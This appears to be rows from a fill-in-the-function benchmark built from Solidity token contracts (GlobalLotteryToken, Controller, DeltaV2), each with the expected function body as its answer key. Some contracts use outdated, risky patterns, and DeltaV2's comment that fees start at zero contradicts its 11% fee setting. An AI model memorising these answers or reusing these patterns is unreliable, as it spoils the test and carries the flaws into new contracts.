amountRaised += msg.value; //many thanks bois, couldnt do it without r/me_irl require(balanceOf[creator] >= amount); // checks if it has enough to sell balanceOf[msg.sender] += amount; // adds the amount to buyer's balance balanceOf[creator] -= amount; // sends ETH to DatBoiCoinMint Transfer(creator, msg.sender, amount); // execute an event reflecting the change creator.transfer(amountRaised); } }
// Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value);
function _transfer(address _from, address _to, uint _value) internal
/** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal
24,484
GlobalLotteryToken
GlobalLotteryToken
contract GlobalLotteryToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function GlobalLotteryToken( ) {<FILL_FUNCTION_BODY> } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract GlobalLotteryToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; <FILL_FUNCTION> /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 900000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 900000000000; // Update total supply (100000 for example) name = "GlobalLotteryToken"; // Set the name for display purposes decimals = 3; // Amount of decimals for display purposes symbol = "GLT"; // Set the symbol for display purposes
function GlobalLotteryToken( )
//human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function GlobalLotteryToken( )
25,460
Controller
transferOwnership
contract Controller { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "Controller: You are not the owner."); _; } function transferOwnership(address _newOwner) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract Controller { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "Controller: You are not the owner."); _; } <FILL_FUNCTION> }
owner = _newOwner;
function transferOwnership(address _newOwner) public onlyOwner
function transferOwnership(address _newOwner) public onlyOwner
33,420
DeltaV2
removeAllFee
contract DeltaV2 is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Delta Variant V2'; string private _symbol = 'DeltaV2I'; uint8 private _decimals = 9; // Tax and Corona fees will start at 0 so we don't have a big impact when deploying to Uniswap // Corona wallet address is null but the method to set the address is exposed uint256 private _taxFee = 0; uint256 private _CoronaFee = 11; uint256 private _previousTaxFee = _taxFee; uint256 private _previousCoronaFee = _CoronaFee; address payable public _CoronaWalletAddress; address payable public _marketingWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 private _maxTxAmount = 100000000 * 10**9; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForCorona = 5000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable CoronaWalletAddress, address payable marketingWalletAddress) public { _CoronaWalletAddress = CoronaWalletAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private {<FILL_FUNCTION_BODY> } function restoreAllFee() private { _taxFee = _previousTaxFee; _CoronaFee = _previousCoronaFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular Corona event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForCorona; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the Corona wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToCorona(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and Corona fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToCorona(uint256 amount) private { _CoronaWalletAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToCorona(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCorona(tCorona); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCorona(tCorona); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCorona(tCorona); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCorona(tCorona); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeCorona(uint256 tCorona) private { uint256 currentRate = _getRate(); uint256 rCorona = tCorona.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rCorona); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tCorona); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getTValues(tAmount, _taxFee, _CoronaFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCorona); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 CoronaFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tCorona = tAmount.mul(CoronaFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tCorona); return (tTransferAmount, tFee, tCorona); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10'); _taxFee = taxFee; } function _setCoronaFee(uint256 CoronaFee) external onlyOwner() { require(CoronaFee >= 1 && CoronaFee <= 11, 'CoronaFee should be in 1 - 11'); _CoronaFee = CoronaFee; } function _setCoronaWallet(address payable CoronaWalletAddress) external onlyOwner() { _CoronaWalletAddress = CoronaWalletAddress; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } }
contract DeltaV2 is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Delta Variant V2'; string private _symbol = 'DeltaV2I'; uint8 private _decimals = 9; // Tax and Corona fees will start at 0 so we don't have a big impact when deploying to Uniswap // Corona wallet address is null but the method to set the address is exposed uint256 private _taxFee = 0; uint256 private _CoronaFee = 11; uint256 private _previousTaxFee = _taxFee; uint256 private _previousCoronaFee = _CoronaFee; address payable public _CoronaWalletAddress; address payable public _marketingWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 private _maxTxAmount = 100000000 * 10**9; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForCorona = 5000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable CoronaWalletAddress, address payable marketingWalletAddress) public { _CoronaWalletAddress = CoronaWalletAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } <FILL_FUNCTION> function restoreAllFee() private { _taxFee = _previousTaxFee; _CoronaFee = _previousCoronaFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular Corona event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForCorona; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the Corona wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToCorona(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and Corona fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToCorona(uint256 amount) private { _CoronaWalletAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToCorona(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCorona(tCorona); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCorona(tCorona); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCorona(tCorona); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCorona(tCorona); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeCorona(uint256 tCorona) private { uint256 currentRate = _getRate(); uint256 rCorona = tCorona.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rCorona); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tCorona); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getTValues(tAmount, _taxFee, _CoronaFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCorona); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 CoronaFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tCorona = tAmount.mul(CoronaFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tCorona); return (tTransferAmount, tFee, tCorona); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10'); _taxFee = taxFee; } function _setCoronaFee(uint256 CoronaFee) external onlyOwner() { require(CoronaFee >= 1 && CoronaFee <= 11, 'CoronaFee should be in 1 - 11'); _CoronaFee = CoronaFee; } function _setCoronaWallet(address payable CoronaWalletAddress) external onlyOwner() { _CoronaWalletAddress = CoronaWalletAddress; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } }
if(_taxFee == 0 && _CoronaFee == 0) return; _previousTaxFee = _taxFee; _previousCoronaFee = _CoronaFee; _taxFee = 0; _CoronaFee = 0;
function removeAllFee() private
function removeAllFee() private
65,291
AccessControl
withdrawTokens
